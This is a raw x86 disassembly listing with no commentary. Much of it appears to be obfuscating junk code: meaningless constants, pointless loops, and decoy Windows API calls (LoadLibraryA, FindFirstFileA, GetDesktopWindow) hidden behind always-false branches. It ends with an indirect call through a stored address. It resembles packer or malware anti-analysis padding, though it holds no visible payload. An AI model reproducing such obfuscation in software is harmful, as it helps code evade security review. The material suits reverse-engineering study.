mov dword [ebp - 0x9b4], 0xfffffff6
mov dword [ebp - 0x5c], 0xe60d1f28
mov dword [ebp - 0x12c], 0x638ff439
mov dword [ebp - 0x168], 0
jmp 0x41b476
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jg 0x41b7a8
mov dword [ebp - 0xd8], 0x7909b792
mov dword [ebp - 0x170], 0xffffffff
push 2
lea ecx, [ebp - 0xa24]
call fcn.004013fc
mov dword [ebp - 0x22c], 0
jmp 0x41b4bd
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x41b4df
push dword [ebp - 0x22c]
lea ecx, [ebp - 0xa24]
call fcn.004014ea
mov dword [eax], 0x4bb4
jmp 0x41b4b0
mov dword [ebp - 0xd8], 3
jmp 0x41b4f8
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x41b77f
mov dword [ebp - 0x3b8], 0x81448718
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
jne 0x41b550
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x358]
call fcn.004014ea
push 1
lea ecx, [ebp - 0x358]
call fcn.004014ea
cmp dword [eax], 1
jb 0x41b550
and dword [ebp - 0x95c], 0
jmp 0x41b55a
mov dword [ebp - 0x95c], 1
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x358]
call fcn.004014ea
push 0
lea ecx, [ebp - 0x358]
call fcn.004014ea
push 0
lea ecx, [ebp - 0x358]
call fcn.004014ea
cmp dword [eax], 0
je 0x41b5a9
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x41b5a4
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x41b77a
mov dword [ebp - 0x9dc], 0
mov dword [ebp - 0xe8], 5
mov dword [ebp - 0xe8], 0
jmp 0x41b5d6
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xffffffed
je 0x41b77a
mov dword [ebp - 0x234], 4
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x358]
call fcn.004014ea
cmp dword [eax], 0x9e6b
jl 0x41b612
mov dword [ebp - 0x390], 1
jmp 0x41b619
and dword [ebp - 0x390], 0
cmp dword [ebp - 0x390], 0xa67b9c5c
jbe 0x41b631
mov dword [ebp - 0x398], 1
jmp 0x41b638
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x234], 0x4b664fb7
cmp dword [ebp - 0x234], 0
jne 0x41b669
cmp dword [ebp - 0x170], 0
jne 0x41b669
and dword [ebp - 0x3a0], 0
jmp 0x41b673
mov dword [ebp - 0x3a0], 1
mov eax, dword [ebp - 0x3a0]
sub eax, 0xe07a
neg eax
cmp eax, dword [ebp - 0x5c]
jne 0x41b691
mov dword [ebp - 0x3a8], 1
jmp 0x41b698
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a8]
sub eax, 0x67a45a9f
cmp eax, dword [ebp - 0x170]
jg 0x41b6b7
mov dword [ebp - 0x3b0], 1
jmp 0x41b6be
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0xccc], eax
cmp dword [ebp - 0x234], 0x60d4e023
jge 0x41b6f4
mov dword [ebp - 0x964], 1
jmp 0x41b6fb
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xcc8], eax
push 0
lea ecx, [ebp - 0xa24]
call fcn.004014ea
mov ecx, dword [ebp - 0x234]
shl ecx, 1
cmp dword [eax], ecx
je 0x41b738
mov dword [ebp - 0x3c0], 1
jmp 0x41b73f
and dword [ebp - 0x3c0], 0
push 0
lea ecx, [ebp - 0xa24]
call fcn.004014ea
mov ecx, dword [ebp - 0x3c0]
cmp ecx, dword [eax]
jne 0x41b762
mov dword [ebp - 0x3c8], 1
jmp 0x41b769
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x12c], eax
jmp 0x41b5c9
jmp 0x41b4eb
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x358]
call fcn.004014ea
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
lea ecx, [ebp - 0xa24]
call fcn.004014ce
jmp 0x41b469
mov dword [ebp - 0x5c], 0
jmp 0x41b7b8
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x41b8ef
mov dword [ebp - 0x3d0], 0x715623a5
mov dword [ebp - 0x3f0], 0x69c043ca
mov dword [ebp - 0x12c], 0
jmp 0x41b7ef
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jg 0x41b8bf
mov dword [ebp - 0x3d8], 5
mov dword [ebp - 0x3e0], 0xffffffff
mov dword [ebp - 0x96c], 0
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x358]
call fcn.004014ea
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0xc0c], eax
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0xcd4], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0xcdc], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x3e0], eax
mov esi, dword [ebp - 0x3e0]
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x358]
call fcn.004014ea
cmp esi, dword [eax]
jne 0x41b897
mov dword [ebp - 0x3e8], 1
jmp 0x41b89e
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
sub eax, 0xfffa
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x5c], 0
je 0x41b8ba
jmp 0x41b7e2
jmp 0x41b7e2
cmp dword [ebp - 0x3f0], 0x4212cf72
jle 0x41b8d7
mov dword [ebp - 0x3f8], 1
jmp 0x41b8de
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xe8], eax
jmp 0x41b7b1
jmp 0x41b41e
lea ecx, [ebp - 0x358]
call fcn.004014ce
mov eax, dword [ebp - 0x8e4]
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x23c], 0x3342eb9
mov dword [ebp - 0x23c], 0x1b
jmp 0x41b92e
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x18
je 0x41b998
mov dword [ebp - 0x244], 0
jmp 0x41b950
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 1
jge 0x41b96c
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0x888], 0x9aed23b6
jmp 0x41b943
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x41b984
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x888], 0
je 0x41b996
jmp 0x41b998
jmp 0x41b921
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x8a4], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x16c], 0xd5b611fb
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x450], 0xe294b58f
cmp dword [ebp - 0x20], 0
je 0x41bbc6
cmp dword [ebp - 0x20], 0
je 0x41b9eb
cmp dword [ebp - 0x20], 0
je 0x41b9eb
mov dword [ebp - 0x410], 1
jmp 0x41b9f2
and dword [ebp - 0x410], 0
cmp dword [ebp - 0x20], 0
jae 0x41ba04
mov dword [ebp - 0x400], 1
jmp 0x41ba0b
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x400], eax
jg 0x41ba22
mov dword [ebp - 0x408], 1
jmp 0x41ba29
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x408]
jne 0x41ba40
mov dword [ebp - 0x418], 1
jmp 0x41ba47
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x410]
cmp eax, dword [ebp - 0x418]
jne 0x41bbc6
mov dword [ebp - 0x178], 0xf23e
cmp dword [ebp - 0x178], 0
jne 0x41ba78
mov dword [ebp - 0x894], 1
jmp 0x41ba7f
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x178], 0
jne 0x41bae2
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0xc1c], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0xd20], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xc24], eax
cmp dword [ebp - 0x178], 0
je 0x41bac7
cmp dword [ebp - 0x20], 0
je 0x41bac7
mov dword [ebp - 0x420], 1
jmp 0x41bace
and dword [ebp - 0x420], 0
imul eax, dword [ebp - 0x420], 0
test eax, eax
jne 0x41bae2
and dword [ebp - 0x428], 0
jmp 0x41baec
mov dword [ebp - 0x428], 1
cmp dword [ebp - 0x428], 1
jg 0x41bb01
mov dword [ebp - 0x430], 1
jmp 0x41bb08
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
neg eax
cmp eax, dword [ebp - 0x458]
je 0x41bb24
mov dword [ebp - 0x438], 1
jmp 0x41bb2b
and dword [ebp - 0x438], 0
cmp dword [ebp - 0x438], 0x55f992db
jle 0x41bb43
mov dword [ebp - 0x440], 1
jmp 0x41bb4a
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x440], eax
jl 0x41bb64
mov dword [ebp - 0x448], 1
jmp 0x41bb6b
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x448], eax
jne 0x41bb85
mov dword [ebp - 0x89c], 1
jmp 0x41bb8c
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xcd8], eax
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x450]
mov dword [ebp - 0x16c], eax
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x41bbc4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
jmp 0x41bbea
mov byte [ebp - 0x98], 0
movzx eax, byte [ebp - 0x98]
test eax, eax
je 0x41bbea
push 0
push 0x1930
push 0x616
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov dword [ebp - 0x20], 0
jmp 0x41bbfa
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x41bc0e
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x16c], eax
jmp 0x41bbf3
push dword [ebp - 0x8a4]
push dword [ebp - 0x8ac]
call dword [0xa779dc]
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x8b4], 0xffff
push 1
lea ecx, [ebp - 0xba0]
call fcn.004013fc
mov dword [ebp - 0x134], 0xfffffff6
push 4
lea ecx, [ebp - 0xa3c]
call fcn.004013fc
mov dword [ebp - 0x64], 0
jmp 0x41bc64
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x41bc7d
push dword [ebp - 0x64]
lea ecx, [ebp - 0xba0]
call fcn.004014ea
and dword [eax], 0
jmp 0x41bc5d
mov dword [ebp - 0x64], 0
jmp 0x41bc8d
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x41bca6
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa3c]
call fcn.004014ea
and dword [eax], 0
jmp 0x41bc86
cmp dword [ebp - 0x8b4], 0
je 0x41bd47
push 1
lea ecx, [ebp - 0xcc4]
call fcn.004013fc
push 1
lea ecx, [ebp - 0xcb4]
call fcn.004013fc
mov dword [ebp - 0x6c], 0
jmp 0x41bcdd
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x41bcf6
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xcc4]
call fcn.004014ea
and dword [eax], 0
jmp 0x41bcd6
mov dword [ebp - 0x6c], 0
jmp 0x41bd06
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x41bd1f
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xcb4]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41bcff
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
lea ecx, [ebp - 0xcb4]
call fcn.004014ce
lea ecx, [ebp - 0xcc4]
call fcn.004014ce
jmp 0x41be82
mov dword [ebp - 0x320], 0x5d2d
mov dword [ebp - 0x8bc], 0x488a
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x41bd83
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x134], 0
jmp 0x41bd9c
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x14
jl 0x41be82
mov dword [ebp - 0x24c], 0xfffffff6
push 0
lea ecx, [ebp - 0xa3c]
call fcn.004014ea
mov dword [ebp - 0x24c], 1
cmp dword [ebp - 0x24c], 0
mov eax, dword [ebp - 0x24c]
imul eax, dword [ebp - 0x320]
test eax, eax
jne 0x41bdf4
cmp dword [ebp - 0x24c], 0
jne 0x41bdf4
and dword [ebp - 0x468], 0
jmp 0x41bdfe
mov dword [ebp - 0x468], 1
mov eax, dword [ebp - 0x320]
imul eax, dword [ebp - 0x320]
mov dword [ebp - 0x460], eax
push 0
lea ecx, [ebp - 0xba0]
call fcn.004014ea
mov ecx, dword [ebp - 0x460]
mov dword [eax], ecx
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x468]
jle 0x41be40
mov dword [ebp - 0x470], 1
jmp 0x41be47
and dword [ebp - 0x470], 0
push 1
lea ecx, [ebp - 0xa3c]
call fcn.004014ea
mov ecx, dword [ebp - 0x470]
cmp ecx, dword [eax]
jg 0x41be6a
mov dword [ebp - 0x478], 1
jmp 0x41be71
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x8bc], eax
jmp 0x41bd8f
lea ecx, [ebp - 0xa3c]
call fcn.004014ce
lea ecx, [ebp - 0xba0]
call fcn.004014ce
mov eax, dword [ebp - 0x8c4]
jmp 0x41bea2
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret